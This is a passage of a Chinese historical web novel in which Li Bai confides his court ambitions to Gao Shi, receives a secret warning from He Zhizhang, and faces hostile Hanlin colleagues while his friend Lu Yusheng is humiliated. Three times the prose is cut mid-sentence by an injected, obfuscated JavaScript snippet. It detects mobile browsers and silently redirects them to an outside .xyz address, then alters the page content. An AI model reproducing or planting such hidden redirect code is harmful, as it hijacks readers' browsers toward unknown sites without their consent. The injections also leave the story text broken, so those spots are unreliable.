“至于诗赋免税,驿传食宿?达夫啊,你以为这是天恩浩荡?此乃‘金丝雀笼’中最精致的那根横木!” 他一语道破天机,目光锐利如刀。 “免了那点商税,看似得了便宜,实则是让那翰林里的‘鸟儿’安心待在金笼子里歌唱,不必为稻粱奔波劳神,自然就有闲心只唱主人爱听的歌!至于那‘诗符’,呵,凭它可在驿站白吃白住,行走天下固然方便,可别忘了,你人在何方,所宿哪家驿馆,尽皆清清楚楚记录在册!方便?亦是束缚!让你这只‘雀儿’哪怕离了长安宫廷的笼子,也飞不出皇帝划定的罗网!” 天井里的月色倏而黯淡,高适心下一惊,猛地伸手按住李白:“太白兄,慎言!当心隔墙有耳!” 李白冷笑一声,看了看窗外透过云层若隐若现的月,又回眸看向高适,眼神清明如洗:“若说隔墙有耳,陈公的英魂就在那听着!他当年想必也如我今天这般如困樊笼,不然怎会有‘丘陵尽乔木,昭王安在哉’①的喟叹?” 空气陷入了沉寂。 高适被李白一番惊世骇俗的剖析震得心动神摇,那句“金丝雀笼”如同惊雷在耳边炸响。他回味半晌,才想起心中那个巨大的困惑,忍不住小心翼翼地问:“太白兄……我有一事不明。” 他斟酌着词句:“你既如此……如此透彻地看穿翰林雅集不过是被豢养的伶人笼子,为何当初还要拼尽全力去夺那《大唐好诗歌》的魁首?你不惜自陷樊笼,所为何来?” 李白闻言,先是仰天大笑,笑声在骤冷的空气里回荡。 “为何?”他的声音陡然拔高,带着一种睥睨天下的自负,“李太白参加诗赛,难道是为了翰林雅集那张镀金的名帖?笑话!” 他一挥手,袖袍带起一阵风:“我参赛,是要让那长安城、让那太极宫、让整个天下都见识见识——什么才叫做诗!什么才叫‘大鹏一日同风起,扶摇直上九万里’②!” 高适被这狂放的宣言震得说不出话。李白稍作停顿,眼中那奔涌的狂傲稍稍沉淀。烛台上的火焰在他的眼眸中跳动,那是他不平的心火。 “达夫,你以为我只是个醉生梦死的谪仙?”李白的语气忽然低沉下来,带着一种推心置腹的灼热,“错了!我所求,岂止诗文千古?我胸中自有安邦定国策,怀揣匡扶社稷志!翰林雅集,是天子近侍之地!是离那个能左右天下大势的位子最近的地方!进入雅集,是我踏上帝阶的第一步!金丝雀笼子?哼,它岂能困住振翅图南的鲲鹏!” 室内又陷入沉默,高适举着茶壶的手久久悬在半空,直到手臂发麻才意识到放下。他认为的,或者应该说,世人津津乐道的李白,是那个冲破蜀道迷雾,纵马狂歌,饮酒赋诗的狂傲天才。紫袍玉带,象牙笏板,与他似乎毫不相干。 可是只有这方小小的、甚至有些简陋的天地才知道,天才也有他的意难平。 窗外的月光在那片乌云飘走后似乎更清冷了。李白端起那杯冷茶,低头看着杯中摇曳的月影,嘴角那抹狂放不羁的笑意第一次出现了一丝松动。 良久,他用一种带着无限苍凉的自嘲语气说:“更何况……像我这种商贾之子,籍贯难究,纵有经天纬地之才,又岂有资格通过明经、进士那些煌煌正途,叩响天子门庭?” 他将冷茶一饮而尽,那冰冷刺穿了方才的豪迈,直抵心底最深的无奈。他的目光落在案几一角,声音低沉而缓慢,每一个字都像浸透了苦艾汁。 “王摩诘(王维)弱冠便状元及第,诗画双绝,人皆敬仰。王少伯亦是寒门奋起,正途进士出身。你看那襄阳孟夫子,诗风清绝,不假雕饰。他不屑科举,更鄙官场,寄情山水,何等洒脱!其隐逸风骨,李白敬仰万分!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275805|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抬起头,望向窗外的明月,眼神荡漾着复杂的微波: “可那份彻底放下、只求心安的归隐……我,学不来!我的血是烫的,我的志向是高山巍峨!盛世之下,大道当前,我岂能终南归隐,空负韶华?” 他的声调再次扬起,却带着无法掩饰的疲惫与不甘,“他们各有自己的路要走,那场赛事,于他们而言或是名士的雅玩,或是仕途之余的点缀,对我李白而言……却是那九重宫阙对我这个‘异类’,所开的唯一一扇可以窥见天光的窄缝!若非逼到绝境,谁愿走这绝路!” 李白停下话头,他注意到高适握着茶碗的手指微微发紧,眼神中闪过一丝不易察觉的黯然,这才想起眼前这位新友,正是准备搏一个进士及第的士子之一,或许也曾想过走大赛的路子。自己方才那番对科举正途的讥讽,对参赛的无奈,岂不是在无意中刺痛了他? “咳,今天我的话有点多。”李白的声音柔和下来,伸手拍了拍高适的肩膀,眼中锐利的锋芒敛去,取而代之的是一种温暖的鼓励。 “方才那些,你莫要放在心上。你我道路不同,但殊途同归——这天下之大,岂止一条青云路?若科举不成,大可远走边庭,在那里,你的笔墨可以化作军书檄文,你的诗篇可以唱给戍边将士!” “太白兄……”高适深吸一口气,举起茶杯,眼中闪烁着新的光芒,“我明白了。科考也好,边塞也罢,人生在世,贵在活出自己的气象!今日听君一席话,胜读十年书。我高适虽无太白兄的惊世才华,但也有自己的路要走!” 李白大笑,伸手与高适击掌。 “好!这才够大丈夫!记住,无论选择哪条路,都要走得昂首挺胸,走出自己的风骨!” 高适怔怔地望着李白,心中的郁结不知不觉间被这股豪气冲散。他忽然意识到,眼前这位看似狂放不羁的谪仙人,并非一味地超然物外、不食人间烟火。他也有自己的酸楚与挣扎,甚至比常人更加深切地体会过现实的冰冷与锋利。 “来日方长,且看谁家大道,先上青天!”李白饮尽最后一口冷茶,将茶碗重重搁在桌子上,嘴角泛起独属于谪仙人的狂放笑意。 他站起身,振了振衣袂,朗声道:“今日得遇高达夫,畅谈天下,真是痛快!若说美中不足嘛……” 他一只脚已跨出门槛,转回身举起自己腰间的酒壶——那日在醉仙楼与贺知章同饮,他偶然提了一嘴将自己那个印着青莲纹样的旧酒壶扔给了蜀道劫匪。贺知章当时只是大笑着称赞他有勇有谋,暗地里却已悄然记下。第二日,贺府老仆亲自捧着一个崭新酒壶找到他。他看得出,那酒壶完全模仿蜀中工艺,连青莲纹样都分毫不差,正是如今他手上拿着的这个。 “诗社岂能无酒?无酒怎能写好诗?下次再来,可要备着好酒,天气转凉,你也好暖暖身子,也暖一暖……这冰冷的世道!” 高适起身作揖,朗声应道:“今日仓促,改日定当补上佳酿!” 11. 草木有本心 翰林院近来多了个喜闻乐见的新鲜事。 每日只要下值钟点一到,一道白影就会“嗖”的一声从院子里飞出,带起漫天飞舞的诗稿和沾了酒香的风。新晋的翰林不明所以,询问年长的老翰林,老翰林抚须微笑,指着院外墙根下勾肩搭背的身影感叹:“英雄惜英雄啊!” 小翰林当然认得李白,也从其他朋友那里听说了瀚海诗社副社的事,每次看到白衣翩跹的李供奉与一身文士打扮却透着武气的蓟北高副社走在一起,他总是会惊讶于两个看似风马牛不相及的人,怎的就成了莫逆之交? 旁人如何议论李高相知,当事人并不在意,照例并肩而行,谈笑风生。穿过朱雀大街的喧嚣,踏入崇贤坊幽深的诗社巷,高适那身沉凝如铁的气质如同无形的护盾,让那些曾如影随形的“飞天镜”和纠缠不休的诗缘客望而却步。 更何况,长安的太阳亘古东升西落,朱雀门诗板依旧滚动,今日贵妃新妆,明日王府夜宴,谪仙人的热度,终究被层出不穷的新鲜事所替代。 这种朱雀门诗板的“冷落”并没有让“青莲剑歌”消沉,相反,李白欣喜于这片久违的清净,大口呼吸着帷帽外阔别许久的新鲜空气。 然而,这份清净并未持续多久。 这一日,李白仍旧在下值时刻飞出翰林院,却并没有和往常一样揽住高适的肩膀,而是拧着眉,边走边踢路上的小石子。 高适看出异样,忍不住问:“太白兄,今日翰林院可还顺遂?” “顺遂?”李白的脚步猛地顿住,官靴踏在一片干枯的落叶上,发出刺耳的破碎声,“近日翰林院里那帮同僚,看我的眼神都透着股子阴阳怪气!前几日我按惯例拟了诗,张翰林接过去时直道‘仙人之姿,我等凡人俗不可及’。话是好话,可他那腔调,分明带着股倒牙的酸味!” “我去库房取松烟墨,那管事的老于头推三阻四,说要凭证,真是滑稽!翰林雅集何时多了个劳什子取墨凭证!最可气的是今天,圣人与贵妃宴游,要求翰林悉数陪侍。此等重要之事,我竟不知?!若非那几个新来的小翰林说走了嘴,我险些错过大事!虽都是些上不得台面的小伎俩,伤不了筋骨,却如同蚊蝇绕耳,恶心得很!” 高适也跟着停下来,浓眉微蹙,目光锐利地扫过李白:“太白兄,你可还记得这些人从何时起开始对你使绊子的?” “十日前?或者七日?记不太清了。” “是半月前张相被贬荆州后开始的吧?” 李白愣住了,连落叶粘在锦袍上也浑然不觉。张九龄罢相一事,不仅在长安,在四海之内皆引起震动,朱雀门诗板连挂三日#张九龄罢相,左迁荆州##曲江兰叶飘落荆襄#。 听高适提起,李白脸上浮现惋惜之色:“张相其人,诗品端方,人品清正,虽与贺监不同,对我之狂放未必全然认同,但其人其诗,我李白素来敬重。此番离京,实乃朝廷一大损失,令人扼腕。可这和那群腐儒找我麻烦有甚关系?” 高适摇了摇头,拉着李白快走几步拐进瀚海诗社,这才带着洞悉世事的凝重道:“太白,你看的是张相的风骨与诗名,可有些人看的,却是这背后的云翻雨覆!张相此去荆州,非是寻常贬谪,乃是一次朝堂权力倾轧!你可知,你这《大唐好诗歌》的魁首头衔,在那些人眼中,打的是谁家的烙印?” 李白一愣,很是不解:“我凭《蜀道难》堂堂正正夺魁,三位评审皆批甲等,何来烙印?” “问题恰恰在此!”高适语速加快,透着冷意,“三位评委固然皆评甲等,可这三个‘甲’,分量不同!贺监的‘甲’,是意气相投,后来誉你为‘谪仙’,也能说明这点。王爷的‘甲’,一半是因为欣赏,一半也是看了张相和贺监的脸色,尤其是张相!张相的‘甲’,分量最重!不要忘了,张相并非仅仅是诗赛评审,更是当朝宰辅!他那张‘甲’字的评分薄,正面是诗赛魁首的‘告示板’,背面是张相一派的‘门生帖’,是你李白得以登堂入室,跻身翰林的关键一步!” 看李白愣住,高适放缓了语气:“如今张相轰然倒台,树倒猢狲散,他昔日的门生故旧人人自危,忙着划清界限。而你这位‘张相亲点的甲等魁首’,在他们看来,岂非最显眼、最该被踩上一脚的‘猢狲’?那些小动作,不过是见风使舵之徒,急于向新贵表忠心的投名状罢了!” 李白听罢,暗自思索了一会,随即失笑:“高三十五,你未免想得太过!我李白入翰林,靠的是胸中锦绣,笔下风云!《蜀道难》是我的敲门砖,张相批甲,是识得诗才,秉公评判。至于那些蝇营狗苟之辈,不管是翰林院的酸儒还是朝堂上的蠹虫,无非就是嫉贤妒能,理会他们作甚!张相赴荆州,依旧不改风度诗骨,我也当效仿!” 高适还想争论一番,但李白已经无意继续这个话题:“别说这些了,先前你说存了佳酿,还不赶快给本翰林呈上?” 高适看着李白那副浑若无事、依旧沉浸在诗酒世界里的模样,心中暗叹一声,默默去取酒。这位谪仙人,诗才惊世,心性如赤子,却对朝堂政治的暗流汹涌,实在太过天真。 树欲静而风不止。李白的不以为意,并未能阻挡风暴的临近。 滚动的朱雀门诗板又换了新题——#贺知章告老还乡##四明狂客泛舟鉴湖#。消息一出犹如投入湖心的一块巨石,涟漪激荡十数日。圣人赐下丰厚奖赏、百官同僚纷纷致意、长安士民自发送行。这位德高望重的“四明狂客”的离京,注定是一场举城瞩目的盛事。 启程前夜,贺府门前已是车马喧嚣,灯火达旦,在为明日的盛大送行做最后的准备。 而就在这喧腾的热闹之外,一位白发苍苍却步履稳健的老仆却悄然避开前院的人流,揣着一份沉甸甸的嘱托,从后门步入了夜色笼罩的长安街巷。他的目的地是李白在常乐坊的居所。 叩门声起,开门的是吴十九。自从李白进入翰林雅集,圣人特赐了这一处宅院,李白把随自己一同来到长安的两个老友也安排住了进来。日子似乎还和在蜀中时一样,卢玉生和吴十九轮流喊李白起床应卯,就像从前晨起背书或练剑。只是李白再也不能和以前一样说“玉生替我和先生告假”“昨天登山累了,今日不练剑”。 结识高适后,李白常常“夜不归宿”,两个人也见怪不怪,反倒高兴十二郎交到了知心朋友。 然而今天情况反常,吴十九心里疑惑,此时时候尚早,纵使不去瀚海诗社,李白也不会如此早归。在看到门外的白发老者时,吴十九更是大惑不解,连忙询问:“这位老丈,深夜造访,有何要事?” 老仆声音低沉沙哑,却字字清晰:“老奴奉主人之命,有紧要物件必须亲手交予李供奉。” 卢玉生听到动静也赶了过来,问:“不知这主人是……” 老仆没有回答,只是亮出了贺府腰牌,把卢、吴二人惊了一跳,连忙把他请进屋。 “老先生,实在不巧,我家郎君下值后便去了崇贤坊的瀚海诗社找高适高副社饮酒,此时尚未归来。贺监所托之物,大可放心交于我等,我等必交付到十二郎手上!” “不可!”老仆浑浊的眼中透着执拗,摇头坚持,“主人千叮万嘱,此物关乎重大,绝不可假手他人,必须老奴亲眼看着,亲手递到李供奉手上!”他声音虽轻,却斩钉截铁。 卢玉生与吴十九面面相觑,心知此事非同小可。卢玉生不敢怠慢,立刻起身:“老先生稍坐,玉生这就去诗社寻十二郎回来!” “郎君速去速回,切记,此事绝不可让第三者知晓!”老仆面沉似水。 卢玉生拎着袍角疾步赶向诗社巷,吴十九警惕地守在门边,目光扫向沉寂的街道。 此刻的瀚海诗社内,灯火通明,笑语喧哗,全然不知外界风雨。 卢玉生赶到时,李白已带了几分醉意,见他进来,二话不说就上去揽住他的肩膀,指着案上墨迹未干的诗稿,得意洋洋地大声道:“玉生!你快看!达夫这首新作《邯郸少年行》, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275806|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘君不见即今交态薄,黄金用尽还疏索’,何等透彻!告诉你,我可是天下第一个读者!连江宁王少伯都排不上号,羡煞他们,哈哈哈!” 卢玉生急得额角见汗,被李白揽着动弹不得,只得低声劝:“十二郎,时候不早,家中似有要事,不如先回去……” 他知道如果直接点明是贺知章派了人来,李白肯定立即动身。但碍于老仆的警告,他不便说出口,只能频频给高适使眼色。 高适何等敏锐,他虽不知具体何事,但从卢玉生那焦急、欲言又止的神色,以及联想到近日长安的波谲云诡和贺知章明日即将离京的特殊时刻,立刻意识到必有极紧要的情况发生在李白家中。 他果断放下酒杯,上前一步,沉稳有力地按住李白肩膀,声音不高却带着不容置疑的份量:“太白!玉生兄特意寻来,必有非回不可的要事。诗稿在此,你随时可看,莫误了家中急务。走,我陪你同回!” 李白被高适那严肃的目光和手上的力道一摄,酒意清醒了些,看着卢玉生确实焦急万分,这才恋恋不舍地放下酒杯,嘴里还嘟囔着:“急什么,玉生,天塌不下来……好好好,走走走,回去回去。” 在高适半扶半推下,三人匆匆离开诗社。高适送到诗社门外便很知趣地停下脚步,嘱咐了卢玉生几句便折返回去。他已经开始在心中勾画,明天的长安,究竟会是什么样子。 回到常乐坊家中,老仆见李白进门,如释重负,快步上前,无视李白的些许踉跄,将怀中紧捂的青绸包裹郑重奉上:“供奉大人!主人再三嘱咐,要老奴亲自将此物送到大人手上!此物关乎大人前程身家,请供奉务必接下,细细研读!” 李白此时酒意已被夜风和高适的凝重吹散了七八分,再看到老仆那苍老面庞上的焦虑与郑重,心中猛地一沉,来不及多问,他接过包裹,解开红绳,展开青绸,露出里面一方素绢。依旧是贺知章那略带颤抖却筋骨犹存的笔迹: 太白吾友: 镜湖水阔,吾将归矣。然心系长安,尤念君安,特留片言,盼君深省。 子寿南行,吾亦衰朽风烛。长安水深,朱雀路远,望君慎之。明日送别,车马盈道,冠盖云集,然人心叵测,其中不乏暗藏杀机、视君为眼中钉者。切记!万万不可现身相送!切记! 仅仅看到“万万不可现身相送”几个字,李白便感到一股寒气从脚底直冲头顶,瞬间酒意全消。贺知章这是在用最直接的方式警告他,连送行场合都可能有人借机发难! “眼中钉”“暗藏杀机”,这词句背后的凶险,让李白第一次真切感受到长安政治漩涡那足以粉身碎骨的恐怖压力。 他强压心头的震撼,继续看下去: 朝局诡谲,非意气可争。张相此前,曾力主诛杀平卢杂胡安禄山,言其‘貌有反骨,日后必为巨患’,然圣心仁慈,未纳良言,反加其恩宠。此事足见圣意难测,祸福难料。吾观安禄山此人,包藏祸心,绝非善类,然其圣眷正隆,锋芒毕露者必遭其噬! 望君慎言慎行,明哲保身。诗心可狂,行事当敛。若觉长安非久留之地,当思急流勇退,归于林泉,亦不失为逍遥谪仙。 珍重万千! 知章顿首 字字句句,如同寒冬腊月房檐下的冰锥,刺得李白头皮发麻。他心中的最后一丝天真,被这封字字千钧的信彻底击碎。 张九龄、贺知章,长安城中最有分量的两位保护人,在《大唐好诗歌》上托举他直入翰林的恩公,竟在短时间相继离开长安。贺知章说的明白,往后的路还很长,而他和张九龄只能送李白到这里,剩下的路,要李白自己去走。 李白紧紧捏着信笺,感觉一股沉重的孤立感从四面八方挤压过来,翰林院那无形罗网,已悄然落下。他环顾室内,卢玉生和吴十九对视一眼,也忧心忡忡。 “玉生……明日,不必叫我起来应卯了。”李白收好信笺,几乎是拖着两条腿往自己的房间走,房门被重重地带上。 12. 何须美人折 卢玉生虽然不知道信上写了什么,但看李白的反应也知道此事对他打击不小,那句“明日不必起床应卯”显然是告假的托词。对于翰林院告假的流程,他以为无非是知会主事一声,口头或简单文书报备即可。 翌日辰时,卢玉生在心里默念着请假事由“偶感风邪”,壮着胆子来到了翰林院。寻到主事厅,却见大厅内空无一人。正徘徊时,几个官家模样的人经过,其中一人服饰气度与众人不同,似乎是个品阶较高的翰林,周围人都恭敬地称呼他“张大人”。 卢玉生虽不认识,但还是鼓足勇气走上前施了一礼,怯生生地问:“劳驾,请……请问,主事现在何处?我来替我家十二郎……哦不是,李供奉李太白告假……”声音不高,却很清脆,还带着一点蜀地口音。 那位高阶翰林扫了一眼这个年轻人,啧啧两声:“哟,李供奉身子金贵,这又告假了?看来贺监一走,倒真是‘仙人不适俗尘嚣’了啊。” 旁边几人立时配合地发出嗤嗤的低笑。 卢玉生有些手足无措,只是低着头,不停的绞着自己的袖角。忽然,他猛地瞪大眼睛,张翰林竟将手中《楚辞》一卷,手腕一翻,挑起了他的下颌。 “抬起头来,看着本官。”张翰林眯着眼睛,带着狎昵的轻佻,“好个粉雕玉琢的小郎君,本官应该见过——你叫什么?” 此刻,卢玉生一头乌发只是用布带草草束着,几绺碎发散在额前,更衬得他面白如玉,清秀中透着狼狈。 “小……小人卢玉生……”卢玉生羞愤欲绝,声音近乎微不可闻。 “玉生……玉生……好啊,好名字!当真是人如其名!李太白倒是会养人,把你养的这般……”张翰林故意拖长了声调,引来同伙更加放肆的大笑。 卢玉生羞得两颊飞红,后退一步,颤声道:“大人!请……请自重!” “哟,急了?”张翰林逼近一步,那本《楚辞》向上抬起,轻拍了几下卢玉生的脸庞,“怎么?还在为上次王府夜宴联句的事难过?你那句什么来着……‘孤雀寒潭影,飞飞入青荷’?当时王老翰林说你‘悲戚古雅,不似当筵’,那是给你主子留脸呢!那般场合,本该举杯颂升平,你却作此凋零寒碜之语,若非看着李供奉面子,扫兴合该罚酒!” 卢玉生只觉得眼前发黑,耳朵里嗡嗡作响,身体在众人戏谑的目光下微微发抖,仿佛赤身裸体站在冰天雪地之中。屈辱、愤怒、委屈……种种情绪几乎要将他撕裂。他死死咬着下唇,一丝甜腥在口中弥漫开。 “罢了,本官今日还有事。”张翰林大概是玩腻了,把那本《楚辞》收回袖中,“回去吧!主事那边,我自会去说,李供奉只管,安心养病。” 张翰林故意把最后四个字咬得极重,如四根纳鞋底的粗针一般扎在卢玉生濒临崩溃的意识上。直到那些或绯或翠的官袍化作模糊的光点,卢玉生这才找到自己腿部的知觉,挪动步子向常乐坊走。 回到常乐坊宅中,已是日上三竿。院子里静悄悄的,只有吴十九在庖厨忙碌的声音。听到门口动静,吴十九探出头来,看到卢玉生脸上泪痕未干,吃了一惊:“玉生,你这是怎么了?” “没事。”卢玉生故作镇定地摇摇头,“十二郎呢?” “没动静,怕是还没起。” 卢玉生见李白的卧房门窗依旧紧闭,心下疑惑,便轻轻推开虚掩的房门走了进去。 室内光线微暗,酒香掺杂着墨香。李白果然还在榻上酣睡,眉头微锁,仿佛梦中仍有未解之忧。 卢玉生的目光落在书案上。砚台里凝固着残墨,笔山斜倒,地上和案头散落着好些被揉得发皱的纸团。他走过去,捡起几个展开。 墨痕淋漓,力透纸背,“辞书”“去职”字样分外刺目。每一张都写了大半,却又被狠狠揉皱丢弃。其中有一张甚至写到了“恳请陛下俯允臣归隐山林……”,笔锋却在此处戛然而止,墨点洇开一大片浓重的绝望。 卢玉生心头巨震,攥着那些冰冷的纸团颤抖不已。原来过去的那一夜,十二郎经历了一场撕心裂肺的博弈!他在辞官归隐与留在翰林罗网间,反复挣扎了整夜!那些揉皱后再也未展开的辞呈宣告了这场博弈的胜者——留下。这需要何等强大的意志去压抑心中那份纵马山河的本能! 他把满地狼藉收拾好,靠着书案抱膝而坐。皱巴巴的辞呈和今日的受辱联系起来,令他委屈,更令他困惑。他想不通,为何长安这样一个汇集天下英才,歌咏盛世繁华的地方,人心却比蜀道上的险峰幽谷还要险恶难测?他们几个在蜀道边一起长大的娃儿,却要无端受这般排挤? “玉生?你哭了?” 不知过了多久,榻上的李白从梦中转醒。他一眼便看到了卢玉生通红的眼眶,心里一惊,翻身下榻要来扶他。 “我没有,只是方才眼睛里飞进来一只小虫。”卢玉生赶紧用力抹了把眼睛,扯出一个微笑。 李白坐起身,揉了揉发胀的太阳穴,声音带着宿醉的沙哑:“莫非是翰林院的那帮人刁难你了?” 卢玉生摇摇头,避重就轻:“无妨,十二郎。些许闲言,不必放在心上。你可好些了?” 李白没有回答,而是赤脚踩在冰凉的地板上,走到窗边推开窗。清冷的空气涌入,他深吸一口气,驱散体内最后一丝浊气,随后转回身,看到书案上摆放整齐却褶皱不堪的辞呈,上前一把夺过丢进炭盆。 “酒后胡写的,留着做甚!” 卢玉生眨着干涩的眼睛,看着他的十二郎似乎又恢复了往日的神态。 “他们越是这般阴阳怪气、蝇营狗苟,就越是说明一件事——我李白,动到了他们的东西!或才名,或地位,或那份他们习以为常的死一样的平静!他们嫉妒,他们恐惧!我若真一走了之,反而正中他们下怀。我要留下,我必须留下,让他们看清楚,谪仙人不是一个空头称号!‘青莲剑歌’斩的就是他们的虚伪矫饰!” 他的眼神锐利起来,不再是昨夜那个为“归隐”一词痛苦犹豫的少年,而是一个被激起了斗志的战士。 “张相被贬,贺监告老,那又如何?我李白凭《蜀道难》而来,难道只能靠羽翼庇护?不!我要留下来!这里离我要去的地方最近!我必须待在这里,待在这个他们想赶我走的地方!他们终究是些只为稻粱奔走的燕雀,而我李白,才是那抟扶摇而上的大鹏!” “可是十二郎……” 卢玉生看着李白那几乎是刻意的昂首挺胸,心像被揪紧了。 “没什么可是!” 李白大手一挥,“先前对他们那些龌龊手段,我只当耳边蝇嗡,懒得计较,那是看贺老头面子。如今?哼!贺监既已告诫,让我看清楚这摊浑水,那我更无需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275807|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他们虚与委蛇!从此以后,井水不犯河水!若再犯我——休怪我不客气!” 他眼底寒光一闪,犹如宝剑出鞘。 说完,他径直走向铜盆洗漱。冷水泼面,仿佛要将所有昨夜的犹豫彻底洗去。不多时,他又将翰林常服穿戴整齐,发髻梳得一丝不乱。那个世人眼中狂放不羁、在翰林雅集如日中天的李谪仙,又出现在卢玉生面前。 “反正告了假,今日无事,走,叫上十九,咱们哥仨喝酒去!” 李白眼神明亮得近乎逼人,嘴角又挂上了那抹睥睨天下的标志性笑意。 三人又是喝酒又是听曲,逍遥了一天,歪歪斜斜地相互搀扶着回到家。 进了卧房,吴十九把自己的剑摘下放好,转头看着双目无神的卢玉生,沉声问:“玉生,你是不是有事瞒着我和李生?我看你今天虽然也喝酒,但总是走神。” 话未说完,借着油灯微光,吴十九看到卢玉生脸上满是泪痕,心里一沉。 卢玉生再也控制不住,低低地呜咽起来。他抓住吴十九粗壮的胳膊,语无伦次地将白日里在翰林院遭遇的一切——张翰林的轻佻举动、当众的容貌羞辱、联句之事的恶意歪曲,全都倾倒出来,字字泣血。 尤其是联句旧事,他本就是个内敛的性子,知道自己和那些王公贵族有别,故而只是小声附和他人。李白替他挡下了几番联句,可有个年轻贵胄突然发难,想听听他的“佳作”,他才有了“孤雀寒潭影,飞飞入青荷”一句。 王老翰林确实指出了他的不合时宜,但他看的真真的,老先生满脸慈祥的微笑,宴会过后还夸过自己,哪里像张翰林说的那样“打狗看主人”! “我……我从未受过这等……这等侮辱!他!他把我和我的名字,当成了什么?!玩物吗?!” 卢玉生声音破碎不堪。 吴十九听得双目圆瞪,拳头捏得咯咯作响:“那群猪狗不如的东西!竟敢如此作践你!我这就……” 他猛地站起来,就要冲出门去。 “不!十九!不要!” 卢玉生急忙死死拖住他,带着哭腔急道,“万万不可!此事决不能告诉十二郎!” 他抬眼看着吴十九,泪眼婆娑中带着乞求与深深的忧虑:“十二郎他现在……也不好过!贺监走了,张相贬了,翰林院那些人个个都在看他笑话,想把他踩下去!你若是去闹,岂不是正中了他们的下怀?他们肯定要找十二郎的麻烦,把这事闹大,给他扣上更大的帽子!” 卢玉生擦了一把汹涌而出的眼泪,用力吸了口气,语气无比坚决:“我受这点委屈……忍忍就过去了!不能给十二郎添乱!你记住了,十九,这事天知地知你知我知,断然不能让十二郎知道半个字!我们……不能再给他添一丝一毫的麻烦!你答应我!” 吴十九看着卢玉生那副宁愿自己千刀万剐也不愿拖累李白的决绝模样,心中又痛又恨。他咬着牙,重重地坐回床沿,最终只是从喉咙里逼出一声沉重的闷响。 “玉生……你……唉!” 他猛地一拳砸在自己大腿上,却也只得应承下来,“好!我答应你!这事……烂在肚子里!只当……只当被疯狗咬了一口!” 昏暗的灯光下,两个青年,一个泪痕未干,一个怒目切齿,胸中都积郁着难以言说的愤懑和对至交兄弟那无尽的心疼。黑暗的房间里,只剩下压抑的啜泣声和沉重的叹息。 13. 玉阶生白露 冬雪已销,峥嵘乃现。 张翰林看到衣冠楚楚的李白大步流星跨入翰林院,拱手作揖,却语中带刺:“李供奉安好,不知身子调理得怎么样了?” “有劳张翰林挂念,李某现在感觉甚好。”李白只是瞟了他一眼,随即一阵风似的从他身边经过,还故意撞了一下他的右肩。 张翰林“啧”了一声,却并未多言,殊不知这恰是新一轮风暴的序曲。 翰林院明文规定“当值不得酣饮”,往日李白腰间那个紫砂青莲纹的酒壶只是个装饰。而如今,酒壶里装着满满的剑南烧春。在同僚惊讶的目光中,李白旁若无人地在自己的案前一坐,酒壶重重地搁在上面。 他拔开软木塞,“咕咚”一声清响,昂首就是一大口。醇厚酒香立时弥漫开来。 管事皱紧眉头,捻了捻山羊胡:“李供奉,这翰林院的规矩,‘当值不得酣饮’,此乃圣人定制,历代相沿。光天化日,值房之内,似有不妥吧?” 不等管事把话说完,角落里便传来阴阳怪气的声浪。先是赵待诏尖细的声音:“哎哟喂!李供奉这‘酒中仙’的名号,果然名不虚传!只是……这‘仙气’飘进值房,怕是扰了咱们这‘人间’的规矩清静?” 年长的周学士捻着胡须酸溜溜地接话:“啧啧,是剑南烧春吧!真是好兴致。我等俸禄微薄,只能粗茶淡饭,守着这点清寒体面,比不得供奉洒脱,视官箴如无物。” “周老您这就有所不知了,李供奉乃谪仙降世,自有章法。我等凡夫俗子只懂‘克己复礼’,不敢逾越半分‘规矩’门槛。”王编修也见风使舵地附和,”这‘酣饮’在谪仙口中,大约只算‘润喉’罢?” 稍远一些的顾翰林放下笔,声音不高不低,恰好全场可闻:“王兄此言差矣。谪仙虽非凡俗,然既食朝廷俸禄,沐圣人雨露,自当身先士卒,以报效之心躬行规仪。若人人皆可‘润喉’,岂不乱了朝廷法度?想必李供奉深明大义,此刻不过……嗯,‘情难自抑’?” 众人目光齐集李白,带着不怀好意的看好戏的神情。 李白站起身,那股子混不吝的劲头让空气都凝滞了几分。他径直走向管事,管事被他眼中的锐利逼得不自觉地后退半步。李白只瞟了他一眼,目光扫向那群刚刚还阴阳怪气的家伙,最后锁定在顾翰林和王编修身上。 他晃着酒壶走到顾翰林面前,几乎将壶口怼上其鼻尖:“顾兄、王兄,还有诸位‘明白人’!想喝李某的‘润喉’酒就早说,何必拐弯抹角,引经据典?来!‘深明大义’的顾兄,既然你这么‘明理’,想必知‘有酒同享’之理?请!” 顾翰林猝不及防被酒气呛得连连咳嗽,狼狈后退。李白不再理他,端着酒壶走向其他人。对着王编修:“王兄忧心俸禄微薄?来一口暖暖你的‘酸词腐句’?” 